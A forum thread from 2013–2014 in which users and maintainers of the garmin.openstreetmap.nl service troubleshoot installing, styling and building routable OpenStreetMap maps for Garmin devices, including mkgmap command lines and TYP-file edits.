- Re: Worldwide routable Garmin maps: URL REMOVED · Skicat (Gast) · 01.11.2013 13:30 · [flux]
Hi, I'm having a problem installing 2 'OSM generic routable' maps side by side. Google isn't being helpful, although it did direct me here.
This is what I've done so far:
1) Downloaded and installed the 'OSM generic routable' map of United Kingdom from http://garmin.openstreetmap.nl/
2) View map in Mapsource. Map works fine. Close Mapsource
3) Used JaVaWa latest version (3.5) to change FamilyID (2000 => 2044) and Name on Computer, Device and Folder all to 'OSM GR UK'
4) View map in Mapsource. Map works fine. Close Mapsource
5) Download custom 'OSM generic routable' of Ontario (manually selected some additional tiles)
6) Attempted to install the Ontario map, error displayed by the Installer is : "OSM generic routable is already installed. Click 'OK' to remove the previous version".
At this point I cancelled as I don't want to trash the UK maps already installed.
I can't figure out whether I'm doing something wrong here, or if we have a problem. I'm familiar with Garmin maps, registry settings and so on, and I've checked the registry after JaVaWa does its thing and the changes have been applied as I believe to be correct. I don't have any other maps in the registry with FamilyID of 2000. JaVaWa does not report any conflicts or problems with the current map set up.
Any ideas what to try next?
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 01.11.2013 13:47 · [flux]
I think it is only installer problem. Install new map manually or move old map to other director and correct registry entry accordingly.
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 01.11.2013 14:31 · [flux]
popej wrote:
move old map to other director and correct registry entry accordingly.
GMTK already did that. Just click 'OK' and proceed. The uninstall process will remove the some installer stuff, but not the map (because it isn't there were the uninstaller expects it to be).
To be sure you could create a backup of 'OSM GR UK' with GMTK; in the case that the uninstaller manages to remove some vital information, you can always restore the map from your backup. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.11.2013 14:33 · [flux]
The problem is that the installer doesnt know that you have changed the settings. I think it is fine if you click on OK when the message "OSM generic routable is already installed. Click 'OK' to remove the previous version" is prompted, I think nothing will be removed because you already moved the maps to another folder?
Maybe Javawa can have a look and remove the installer when someone has changed the WR maps to another location with his tool?
Edit: he already answered 😉
- Re: Worldwide routable Garmin maps: URL REMOVED · JaVaWa (Gast) · 01.11.2013 14:42 · [flux]
I've decided not to mess with installers in GMTK, because every installer works differently... In the past this problem didn't occur with the OSM installer, but at some time a check for a previous version was added to it. Maybe you guys could add another check (whether the previous map is still present at the original location)?
- Re: Worldwide routable Garmin maps: URL REMOVED · Skicat (Gast) · 01.11.2013 14:54 · [flux]
Thanks guys, I didn't think to try just clicking OK 🙄.
I'm sure that would have worked, however, I thought about it over lunch and decided it was just a problem with the installer too. So what I did was to rename the registry key at:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OSM generic routable
as
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\OSM GR UK
then the installer worked fine.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.11.2013 15:43 · [flux]
JaVaWa wrote:
I've decided not to mess with installers in GMTK, because every installer works differently... In the past this problem didn't occur with the OSM installer, but at some time a check for a previous version was added to it. Maybe you guys could add another check (whether the previous map is still present at the original location)?
Here is the code, anyone who can do a good suggestion please let me know
https://github.com/openstreetmap/mkgmap … mplate.nsi - Re: Worldwide routable Garmin maps: URL REMOVED · JorgeDCR (Gast) · 01.12.2013 11:19 · [flux]
Please advise. Sorry if you need to explain this over and over again to novices like me.
I have just downloaded some European maps with the installer for Windows. The installer apparently unzipped itself into a bunch of IMG files. I have no idea what to do with them next to make them work. My Garmin Nuvi has a micro SD card; I copied the files there into Garmin directory, but, not very surprisingly, it was not sufficient to show the maps. Now I'm stuck. Is there some instruction on how to make these maps work? Could you please point to it?
Thanks. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.12.2013 16:33 · [flux]
See http://www.dcrainmaker.com/2013/05/down … 00810.html
The imgs that you have installed are not intended to put on your gps, look for a separate gmapsupp img that is listed in the download links that you have received in your mail. - Re: Worldwide routable Garmin maps: URL REMOVED · JorgeDCR (Gast) · 03.12.2013 07:55 · [flux]
ligfietser wrote:
See http://www.dcrainmaker.com/2013/05/down … 00810.html
The imgs that you have installed are not intended to put on your gps, look for a separate gmapsupp img that is listed in the download links that you have received in your mail.Thank you very much. Indeed, I overlooked that gmapsupp file in the download. Now I see the difference - streets and POI became available in the area I am going to visit. I assume that I don't need to do anything more, and my GPS will be able to navigate using those maps when I arrive to the place.
One more question if you don't mind. If I want to add more tiles to the map I have, should I start over and pick the new tiles, as well as the old ones, and download all of them, or is there a smarter way? I don't care too much about my time, but I want to avoid extra load on OSM server if possible.
Thanks again. - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.12.2013 09:48 · [flux]
JorgeDCR wrote:
Thank you very much. Indeed, I overlooked that gmapsupp file in the download. Now I see the difference - streets and POI became available in the area I am going to visit. I assume that I don't need to do anything more, and my GPS will be able to navigate using those maps when I arrive to the place.
One more question if you don't mind. If I want to add more tiles to the map I have, should I start over and pick the new tiles, as well as the old ones, and download all of them, or is there a smarter way? I don't care too much about my time, but I want to avoid extra load on OSM server if possible.
Thanks again.Yes if you want to add new tiles the usual way is to do a new request. There is another way but this involves a merging of tiles with mkgmap, which can be done automatically with Javawa OSM Combiner, but this can only done if the map tiles that you already have are from the same date as the new ones that you want to add. Javawa's combiner is meant for combining large mapsets ( > 2 Gb) http://www.javawa.nl/osmcombiner_en.html
- Re: Worldwide routable Garmin maps: URL REMOVED · JorgeDCR (Gast) · 08.12.2013 03:10 · [flux]
ligfietser wrote:
Yes if you want to add new tiles the usual way is to do a new request. There is another way but this involves a merging of tiles with mkgmap, which can be done automatically with Javawa OSM Combiner, but this can only done if the map tiles that you already have are from the same date as the new ones that you want to add. Javawa's combiner is meant for combining large mapsets ( > 2 Gb) http://www.javawa.nl/osmcombiner_en.html
OK; thank you. I'll request it again then - for multiple countries this time.
- Re: Worldwide routable Garmin maps: URL REMOVED · GNSS_Fan (Gast) · 25.12.2013 12:16 · [flux]
Bounding Box or Polygon Box
Hi, it is possible to get the bounding box (if the map is a rectangle) or a polygon box (if the map is not rectangular) from the map I downloaded from http://garmin.openstreetmap.nl/ ? I need the coordinates to create contour-elevation lines for the aera I downloaded.
Many thanks for any help
JM
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 25.12.2013 13:47 · [flux]
You don't have to copy tile sizes, you can create independent overlay with contours, using other subdivisions, which fit this map.
If you'd like to check tiles area, you can use GMapTool to show bounding box of an img file, use button "Details" on "Files" tab. - Re: Worldwide routable Garmin maps: URL REMOVED · AlaskaDave (Gast) · 01.01.2014 03:22 · [flux]
I am wondering why there is no updated map for Thailand since 12/17/13. Is there some sort of problem?
Many thanks for all the good work you do.
Happy New Year.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 06.01.2014 13:37 · [flux]
Best wishes for the New Year too.
I guess the busy Xmas days were causing the delay? There are some improvements made in mkgmap, see http://www.mkgmap.org.uk/news/2013/12/2 … iles-style and I hope it didnt cause technical problems with updating the maps Lambertus? The style files are now compatible with the latest mkgmap release. Make sure that the --ignore-maxspeeds option is superfluous and must be removed. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 06.01.2014 13:57 · [flux]
Happy new year everyone!
I'm afraid the 'ignore-maxspeeds' did indeed cause problems, the update was running longer then expected and a look at the logs revealed this issue. A new update is started and will take 2 to 3 days to complete.
- Re: Worldwide routable Garmin maps: URL REMOVED · AlaskaDave (Gast) · 06.01.2014 13:59 · [flux]
Lambertus wrote:
Happy new year everyone!
I'm afraid the 'ignore-maxspeeds' did indeed cause problems, the update was running longer then expected and a look at the logs revealed this issue. A new update is started and will take 2 to 3 days to complete.
Okay, thanks for the information. I'll check back in a few days.
- Re: Worldwide routable Garmin maps: URL REMOVED · vk3cex (Gast) · 08.01.2014 07:23 · [flux]
Hi,
I noticed a minor issue when selecting multiple maps by means of selecting a corner and dragging the mouse. When I do this across the 180th meridian then it selects all longitudes between the selected latitudes.
Best regards and a happy new year
- Re: Worldwide routable Garmin maps: URL REMOVED · AlaskaDave (Gast) · 11.01.2014 08:57 · [flux]
I have been using your Generic Routable (testing new style) maps on my Garmin Montana GPS for quite a while and except for some small rendering quirks are fantastic. Here in Thailand we're experiencing quite a run of "mapping for the renderer" issues because certain POIs no not render appropriately in Garmin Basecamp or on Garmin GPS units. People either object to the particular tag being used because its rendering doesn't suit them while in some cases, POIs are not rendered with any symbol at all.
Examples: Some tower structures that are definitely not communication towers get an icon that resembles a "radio tower". We have started tagging certain tower structures as stupas when they are associated with buddhist temples or wats in our area. The stupa is part of the man_made=tower, tower:type=* tag set. The radio tower icon is not really appropriate. Also, wats render only as a dot on my maps at all zoom levels. Wats are very prominent features in Thailand and are also numerous. It would be nice if they were rendered in a more meaningful way.
As a total novice as regards map symbols and their incorporation into maps, I'm wondering how I should approach this problem. Is it something you can do here either by modifying your style sheets or your TYP files, or is it something we can, or should, do on our own? Is it a Garmin problem?
Thanks in advance...
Dave
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 11.01.2014 16:30 · [flux]
You can find the style sheet here:
http://code.google.com/p/mkgmap-style-s … rld/points(man_made=tower & tower:type!=communication) |man_made=chimney [0x6411 resolution 24]
As you can see communication towers are filtered out and not rendered at all.
It depends on your unit how Garmin renders 0x6411, in Mapsource they don't have an icon and are rendered as a small blue default poi dot.
You can modify the 2000.typ file with a typ file editor like typviewer to make a more appropriate icon for this.
What are "wats" (osm tag?) - Re: Worldwide routable Garmin maps: URL REMOVED · AlaskaDave (Gast) · 12.01.2014 02:30 · [flux]
What are "wats" (osm tag?)
I am sorry, I forgot to mention that in OSM wats are assigned amenity=place_of_worship. And also, it is OSM that renders the stupas as radio towers. My apologies on that too.
But let me pursue this topic a bit further. I'm using the (new style) routable maps and those do not show any TYP file included in the installer package when I look at it with 7-Zip. Yet it is in the folder after installation. Where does it come from?
If there is indeed a built in TYP file (2000.typ), and it only appears after I run the installation, then how do I edit it so both Basecamp and my GPS can use the same symbols? Will Basecamp reload the edited TYP file on it's own or do I somehow force it to recompile the map set?
If I ever get to the point where I can edit the TYP file, I must then edit it so that tower:type appears. To do that I must
a) modify the line: man_made=tower & tower:type!=communication to: man_made=tower & tower:type=communication [0x???? resolution 24]
b) add a similar line that deals with tower:type=stupa [0x???? resolution 24]
c) add a similar line that deals with place_of_worship [0x???? resolution 24]Is that correct?
Thanks very much for all your help.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 12.01.2014 10:34 · [flux]
amenity=place_of_worship isn't rendered on Mapsource or Basecamp with a specific icon (default blue dot) because you have many types, a cross will not suit mosks or wats ;-)
The typ file is built in in the file "gmapsupp.img" that you put on your device. Only if you install the pc version for Basecamp you can edit this typ file.
Only after you have sent the mapset from Basecamp (with Mapinstall) to your GPS you can see the edited version.There are some programms that can update the typ file in the gmapsupp.img (gmaptool or javawa's typchanger: http://www.javawa.nl/typchanger_en.html)
However, you are still depending on the style files. If tower:type=stupa isnt specified, you cant add it.
a) man_made=tower & tower:type!=communication means that we render all towers except tower:type=communication
b) we need to specify tower:type=stupa as a different garmin type with a specific symbol. If you can deliver a 1 colour bitmap in 25x25 pixels, I can add it to the style sheet and typ file.
c) same for amenity=place_of_worship (what's the subtype tag for watts in osm?)
d) please post your desired map symbols and corresponding osm tags in this topic: http://forum.openstreetmap.org/viewtopic.php?id=13257 - Re: Worldwide routable Garmin maps: URL REMOVED · AlaskaDave (Gast) · 13.01.2014 02:15 · [flux]
ligfietser wrote:
amenity=place_of_worship isn't rendered on Mapsource or Basecamp with a specific icon (default blue dot) because you have many types, a cross will not suit mosks or wats ;-)
The typ file is built in in the file "gmapsupp.img" that you put on your device. Only if you install the pc version for Basecamp you can edit this typ file.
Only after you have sent the mapset from Basecamp (with Mapinstall) to your GPS you can see the edited version.There are some programms that can update the typ file in the gmapsupp.img (gmaptool or javawa's typchanger: http://www.javawa.nl/typchanger_en.html)
However, you are still depending on the style files. If tower:type=stupa isnt specified, you cant add it.
a) man_made=tower & tower:type!=communication means that we render all towers except tower:type=communication
b) we need to specify tower:type=stupa as a different garmin type with a specific symbol. If you can deliver a 1 colour bitmap in 25x25 pixels, I can add it to the style sheet and typ file.
c) same for amenity=place_of_worship (what's the subtype tag for watts in osm?)
d) please post your desired map symbols and corresponding osm tags in this topic: http://forum.openstreetmap.org/viewtopic.php?id=13257Okay, thanks, that explains why place_of_worship isn't rendered. We wouldn't want to offend those users that aren't Christian, or Moslem, etc. The other tag that defines a wat (a wat is a buddhist temple) is religion=buddhist. OSM uses a wheel for the symbol. I will try to locate that one and supply it. I'll also create a symbol for stupa and post that when I have it. Sorry to answer your reply with so many more questions but I need to ask why do you not render communication towers?
Also, I do not understand how changing the TYP file included in the already compiled gmappsupp.img will be visible inside Basecamp. Or do you mean I can change the TYP file in the install folder created by the Generic Routable New Style Windows installer, and then somehow resend that to Basecamp (and subsequently to my Garmin)??
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.01.2014 09:29 · [flux]
AlaskaDave wrote:
Okay, thanks, that explains why place_of_worship isn't rendered. We wouldn't want to offend those users that aren't Christian, or Moslem, etc. The other tag that defines a wat (a wat is a buddhist temple) is religion=buddhist. OSM uses a wheel for the symbol. I will try to locate that one and supply it. I'll also create a symbol for stupa and post that when I have it. Sorry to answer your reply with so many more questions but I need to ask why do you not render communication towers?
place_of_worship is rendered, only not specified in sub categories of religion (christian, muslim etc).
Main problem is that Garmin only has a VERY limited range of poi types. For churches etc they only have two. Of course you can choose another garmin type that is free, but then you cant find it in the specific search category. So if you want to render a stupa, either you will not able to search for it anymore or it will show up as two different pois on top of each other. A trick that I use for my Openfietsmap is to use a transparent searchable poi for the main category and another one for the sub category. The OSM online map doesn't have this limitation, they can render every symbol.Communication towers clutter the map, every gsm antenna is mapped here in NL's so we don't render them, otherwise you cant find a "normal" tower through the woods of the antennas.
See http://wiki.openstreetmap.org/wiki/OSM_ … /POI_Types or if you want to know more about the map details, download gpsmapedit from http://www.geopainting.com/ to view the underlying details in the img map tiles.
Also, I do not understand how changing the TYP file included in the already compiled gmappsupp.img will be visible inside Basecamp. Or do you mean I can change the TYP file in the install folder created by the Generic Routable New Style Windows installer, and then somehow resend that to Basecamp (and subsequently to my Garmin)??
Yes, edit it, save it (restart basecamp, clear the cache with ctrl-G to make the changes visible) and resend the map with basecamp to your garmin.
- Re: Worldwide routable Garmin maps: URL REMOVED · AlaskaDave (Gast) · 15.01.2014 02:01 · [flux]
Yes, edit it, save it (restart basecamp, clear the cache with ctrl-G to make the changes visible) and resend the map with basecamp to your garmin.
Aha, yes, that makes total sense. Every time Basecamp starts it reloads the map data from disk, of course. Thanks for the information.
Radio towers are not nearly so common here. Well, maybe they are but most are not being mapped as yet because there are so many other more important things to map, like roads for example.
Regards,
Dave
Chiang Mai - Re: Worldwide routable Garmin maps: URL REMOVED · galonet (Gast) · 20.01.2014 18:27 · [flux]
Lambertus,
Thanks for your maps! I have been using them for a long time with my Garmin Mobile XT.
I am using mkgmap to produce myself some maps too and I have a doubt about addressing: using the same osm file (downloaded from http://download.geofabrik.de/) and converting to garmin and navikey 7-ways maps formats, it looks like my garmin maps always have far less addresses you can search for!! Even the map downloaded from "http://garmin.openstreetmap.nl/" (osm_generic_gmapsupp.zip) has less addresses to search when compared with the navikey converted file from the same osm source!
I use the following command to generate garmin file:
"java -jar mkgmap.jar --style=default --keep-going --index --code-page=1252 --product-id=43 --family-name="OSM XX" --area-name=XX --description="OSM XX" --mapname=12345678 --country-name=BRASIL --country-abbr=BRA --region-name="XX XX" --region-abbr=XX --copyright-message=OSM-XX --route --link-pois-to-ways --remove-short-arcs --process-destination --process-exits --output-dir=output-mkg --gmapsupp file.osm"
Is there any command I have missed that can fix this situation ?
Thanks again!
- Re: Worldwide routable Garmin maps: URL REMOVED · popej (Gast) · 20.01.2014 18:45 · [flux]
Try to add --poi-address --housenumbers
I think you should use preprocessed bounds files to get correct address search, see option --bounds. - Re: Worldwide routable Garmin maps: URL REMOVED · galonet (Gast) · 21.01.2014 00:06 · [flux]
Thanks popej for your help!
I have read about boundaries and now made "bounds" for my files and my script is this:
osmconvert mkgmap-splitter\imput\XX.osm.pbf --out-o5m >mkgmap-splitter\imput\XX.o5m
osmfilter mkgmap-splitter\imput\XX.o5m --keep-nodes= --keep-ways-relations="boundary=administrative =postal_code postal_code=" --out-o5m > mkgmap-splitter\imput\XX-boundaries.o5m
java -cp mkgmap.jar uk.me.parabola.mkgmap.reader.osm.boundary.BoundaryPreprocessor imput\XX-boundaries.o5m XX_bounds
java -jar mkgmap.jar --family-id='$family_id' --family-name='$name' --area-name='$name' --product-id=$product_id --draw-priority=20 --description='$description' --series-name='$description' --mapname=12345678 --country-name='$country' --country-abbr='$countryabbr' --region-name='$region' --region-abbr='$region-abbr' --copyright-message='$copyright' --style=default --bounds=XX_bounds --reduce-point-density=4 --reduce-point-density-polygon=8 --show-profiles=1 --add-pois-to-lines --index --location-autofill=bounds,is_in,nearest --latin1 --min-size-polygon=10 --merge-lines --add-pois-to-areas --preserve-element-order --process-destination --process-exits --poi-address --housenumbers --route --link-pois-to-ways --remove-short-arcs --process-destination --process-exits --name-tag-list=name:en --output-dir=output-mkg --gmapsupp imput\XX.osm
And still have a few addresses to search for!
Could you guys help about this script ? What is wrong with it ?
Thanks again!
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.01.2014 10:12 · [flux]
Maybe it is related to some bugs in mkgmap, see http://gis.19327.n5.nabble.com/Address- … 90920.html
Or maybe those addresses are not in OSM at all. Some programms use other data to improve address search. For my maps I use BAG data in the NL's and since recently CRAB data for Flanders Belgium to find more addresses than available in OSM. OSM.org uses Tiger address data in the US for the nominatim search etc.
- Re: Worldwide routable Garmin maps: URL REMOVED · GNSS_Fan (Gast) · 21.01.2014 11:16 · [flux]
Hello
I use maps from http://garmin.openstreetmap.nl/ for Humanitarian Mission. For this reason I ask following question: In which interval (daily, weekly ...) are the Maps updated ?
Best regards, JM - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.01.2014 17:49 · [flux]
See the Map version in lower right corner: 06-01-2014
The map is usually updated every 1 or 2 weeks. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 03.02.2014 13:55 · [flux]
Since map version 18-01-2014 the Garmin maps contain also addresses from Flanders, Belgium.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.03.2014 09:45 · [flux]
Lambertus, can you try to implement these parameters automatically, with %mapname% as the country that is being compiled, with the generation date?
In the case of a custom mapset the user has to enter a custom name?--series-name="OFM-Lite(%mapname%v%date%)" --description="OFM-Lite(%mapname%v%date%)"
Same for generic and generic_new
One step further is to give the country maps a different unique Famliy ID (ISO 3166 code) and Family name to make it possible to install more maps.
See
http://nl.wikipedia.org/wiki/ISO_3166-1
http://wiki.openstreetmap.org/wiki/OSM_Garmin_ID (to prevent double ID's)--overview-mapnumber=%FID%000 --overview-mapname=OFM_%mapname% --family-name="OFM-Lite(%mapname%)"
%FID% = 23 + ISO country code
%mapname% = ISO country IDFor the OFM Lite of the Netherlands the family name could be OFM-Lite(NLD) with FID 23528 (23xxx with xxx for the ISO code).
Any ideas for numbering/naming the custom maps?
- Re: Worldwide routable Garmin maps: URL REMOVED · johnpatchell (Gast) · 21.03.2014 18:01 · [flux]
Maps downloaded are now showing street names with the French version even though my GPS is set for English. This happens with Mapsource as well. It was working correctly up until the 12 March 2014 release. That one and the current release showed French names (eg Chemin Cram instead of Cram Road) whenever they were available. I am using the maps for Ontario Canada. If I set the GPS language to French I still get the French names.
John Patchell
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 21.03.2014 18:34 · [flux]
I think it is an unwanted side effect of adding name:fr to the name-tag list, see http://forum.openstreetmap.org/viewtopic.php?id=24400
The German city of Aachen, http://nominatim.openstreetmap.org/deta … d=97950220 is now displayed as Aix-la-Chapelle.
In the Netherlands the river Geul gets a french name too (Guelle) and Maas "Meuse" and the city Nijmegen is Nimègue 🤔So it is not a good solution to add name:fr to the name-tag list. I dont know how to solve the issue of arabic / french names though.
Edit: solution found
- Re: Worldwide routable Garmin maps: URL REMOVED · monviso (Gast) · 22.03.2014 17:10 · [flux]
Hi,
I've downloaded German map and Italy map today. The German map is ok, but the Italy map is not routable. It makes line routes in BaseCamp and in Garmin device, too. Any ideas? - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 23.03.2014 19:56 · [flux]
Just had a look at the Italy map, routing works as expected. Maybe you tried a route that was too long or some routing settings were not ok?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 26.03.2014 17:15 · [flux]
Ligfietser, I just read a post on osm-talk mailinglist about the release of a new source of addresses: http://openaddresses.io/
Possibly we could merge this with the OSM streetdata and use these in the Garmin maps? This source also has the address data from Flanders that we imported earlier and a lot of US addresses.
Sources: https://github.com/openaddresses/openad … er/sources
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 26.03.2014 18:41 · [flux]
Would be great, in what format are they published?
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 26.03.2014 20:36 · [flux]
How would updates from this source (or any other address source) be managed?
I may have a free source for all NZ addresses.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.03.2014 09:35 · [flux]
ligfietser wrote:
Would be great, in what format are they published?
I'm trying to figure that out. It appears it just lists all those different sources and every source uses its own format. If true then processing all these sources is a big task. However, I do see some of these sources have been translated to a 'standard' csv file format for which i could easilly write a script that transforms this to osm.xml or osm.pbf.
Beddhist wrote:
How would updates from this source (or any other address source) be managed?
I may have a free source for all NZ addresses.
Well, my current method involves grabbing a fresh planet dump and merge with the Dutch and Flanders addresses. This combined dump is then updated with daily OSM changesets. I guess this in time would lead to double addresses when they originate from two different sources. I'm all ears if you have ideas about a structured method.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 27.03.2014 09:39 · [flux]
What I meant was how would you merge an updated address file into OSM, as there are no diffs available?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.03.2014 11:03 · [flux]
Currently I would do the same as described in my post above, but I admit not having spent a lot of time thinking about a better method.
- Re: Worldwide routable Garmin maps: URL REMOVED · Steve8x8 (Gast) · 27.03.2014 11:25 · [flux]
I frequently use this service, and have a few remarks.
Both routable maps have the same identification string "OSM generic routable", for all tile selections and countries, not making a difference between "old" and "new" styles. This makes it difficult to store more than one map on the device, and switch between them. As a by-product, I cannot say whether I like the new style better...
As the map images are created on request (and kapt in cache for some time) it would certainly be possible to add the country name, and/or in the case of an individually combined map, the creation timestamp?
Also, most pre-built OSM maps for Garmin completely lack information about the planet file they have been derived from - yes, there's metadata available (for some time, at least, but gone soon after a selective download), and perhaps the space for such data is very limited (about 50 characters?)... it might be a signal to other map makers if such basic identification information could be merged by default.In any case, I like this service a LOT - and wish to have something similar in MapsForge/OpenAndroMaps format that's not months old...
Thanks to Lambertus for this brilliant idea - and everyone involved for keeping this website running!
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.03.2014 12:14 · [flux]
Steve8x8 wrote:
I frequently use this service, and have a few remarks.
Both routable maps have the same identification string "OSM generic routable", for all tile selections and countries, not making a difference between "old" and "new" styles. This makes it difficult to store more than one map on the device, and switch between them.
Yes, originally the idea was to replace the 'old' generic routable with the 'new' but I'm not sure anymore. Alternatively 'old' is transformed into a lite version for Garmin devices with little storage (e.g. some Etrex series).
As a by-product, I cannot say whether I like the new style better...
Is there anything specific you don't like? By specifying the maintainer(s) of the styles can possibly improve them...
As the map images are created on request (and kapt in cache for some time) it would certainly be possible to add the country name, and/or in the case of an individually combined map, the creation timestamp?
For predefined country maps this should be possible and is actually a long standing wish. It only needs my time to implement which is on short supply lately. Regarding custom maps things get much more difficult. For starters: the custom map build program doesn't know what area has been chosen or how to name it. Another long standing wish is to allow the user to provide his preferred product id, description etc. but A) it makes the process for inexperienced users much more difficult B) requires a large time investment which -as said- I currently don't have.
As an aside: I recently created a GitHub account so I can upload this forum but could use the same account to manage/share/cooperate the http://garmin.openstreetmap.nl code as well.
Also, most pre-built OSM maps for Garmin completely lack information about the planet file they have been derived from - yes, there's metadata available (for some time, at least, but gone soon after a selective download), and perhaps the space for such data is very limited (about 50 characters?)... it might be a signal to other map makers if such basic identification information could be merged by default.
Is this really important information? You'd probably know if a map is old or new anyway...
In any case, I like this service a LOT - and wish to have something similar in MapsForge/OpenAndroMaps format that's not months old...
Thanks to Lambertus for this brilliant idea - and everyone involved for keeping this website running!
Thanks for the compliments. The other two main contributors are Ligfietser + Beddhist (Mkgmap commandline and styles) and aditionally Oxilion.nl + Harenber (servers) and Greencaps (some special utilities for transliteration and country/tile matching).
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 27.03.2014 13:05 · [flux]
In this topic I've made a proposal to implement the map country name and date into the ID strings: http://forum.openstreetmap.org/viewtopi … 19#p406919
The first step doesn't seem too difficult to implement?
--series-name="OFM-Lite(%mapname%v%date%)" --description="OFM-Lite(%mapname%v%date%)"
With %mapname% = country or state
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.03.2014 13:27 · [flux]
I did not see that post, thanks for the reminder. I'll look into it (maybe tomorrow, daddy day) 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 27.03.2014 14:11 · [flux]
Thanks Lambertus, I've send you a more extended version also by mail.
French and Arabic names seem solved too in the last update.
And last but not least, the routing has got a major improvement (esp. for newer GPS devices and Basecamp users) since mkgmap-r3116, thanks to the mkgmap development team. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 27.03.2014 17:19 · [flux]
BTW, I've downloaded the address file (1.6 GB). It contains a lot of zip files and these contain mostly shape files. I suspect it wont be straightforward to get them in the Garmin maps...
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 27.03.2014 17:49 · [flux]
Yeah, I have noticed that too. Mostly addresses in America and Canada. Any volunteers to convert this data?
- Re: Worldwide routable Garmin maps: URL REMOVED · Theodin (Gast) · 28.03.2014 11:07 · [flux]
Are you sure about the licenses of the data? imho this is a general OSM problem that should be discussed internationally hot/if we should use this data to best serve all OSM-related projects. After all youre asking for volunteers...
- Re: Worldwide routable Garmin maps: URL REMOVED · tarotmac (Gast) · 03.04.2014 22:52 · [flux]
Hi all, I'm new to this. http://garmin.openstreetmap.nl/ but found I was unable to enter required details for country etc. 🙁 is the site still working or are maps just being updated please
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- Re: Worldwide routable Garmin maps: URL REMOVED · tarotmac (Gast) · 03.04.2014 23:17 · [flux]
thanks will keep coming back
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 04.04.2014 09:16 · [flux]
There were two problems:
1) The OpenLayers server which hosts the JavaScript functions to show the map is not responding which breaks the website. I'm trying to implement a workaround for this problem, but...
2) I couldn't login on the garmin.openstreetmap.nl webserver so I couldn't apply the fix.Luckily the problem has been fixed. Thanks everyone who reported the problem (on this forum and by email).
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 05.04.2014 16:01 · [flux]
Lambertus, the problem still exist for new style and OFM Lite.
And I dont see housenumbers in the general NL's 25/03. - Re: Worldwide routable Garmin maps: URL REMOVED · OSMNZ (Gast) · 07.04.2014 09:21 · [flux]
OFM Lite appears to be working on the website now....not hanging any more.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.04.2014 10:21 · [flux]
Thanks for reporting.
Lambertus has now implemented the country names into the mapsets, which was requested in this topic.
Next step will be more complicated, to make it possible to install several mapsets.In the meantime of this process, users might have difficulties with installation because the installer might not recognize a previously installed mapset because of those name changes.
I strongly recommend to check the installation with tools like Javawa GMTK or Mapset Toolkit. - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.04.2014 20:20 · [flux]
Working on it.
Do you have any idea what happens if I prerender the tiles with a different family id compared with how they are combined to each country? Currently I render each tile only once and use some of these tiles for multiple countries. It would mean a lot of work for me if the tiles need to be rendered with the same family id as the country it's going to be used with.
I currently don't have plans to give custom maps unique numbers, but I can imagine that one day the user will be able to choose his own family id for the custom maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · Barrington99 (Gast) · 07.04.2014 20:26 · [flux]
Hi, have used OSM previously (superb product and service) but new to the forum, trying to obtain routable bicycle map of Cyprus for my Garmin 800. Tried yesterday and again today but 'loading data' is continually showing for choosing a predefined country. Reading previous posts it seems there is a problem, any ideas when this might be sorted? Thank you.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.04.2014 20:57 · [flux]
This is fixed much earlier today. If you're still having this problem then try cleaning your browser cache (e.g. key combo: CTRL-F5 or use the option from the settings/history menu).
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.04.2014 21:14 · [flux]
Lambertus wrote:
Do you have any idea what happens if I prerender the tiles with a different family id compared with how they are combined to each country? Currently I render each tile only once and use some of these tiles for multiple countries. It would mean a lot of work for me if the tiles need to be rendered with the same family id as the country it's going to be used with.
Dont worry, that wouldn't make any difference, so you can still render them with one ID and give each country mapset another FID. The family IDs are stored in the index files, not in the tiles.
There might be a problem, if you put two overlapping country mapsets with duplicate tile img on your GPS. But maybe this was already an issue.
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 08.04.2014 09:08 · [flux]
ligfietser wrote:
Lambertus wrote:
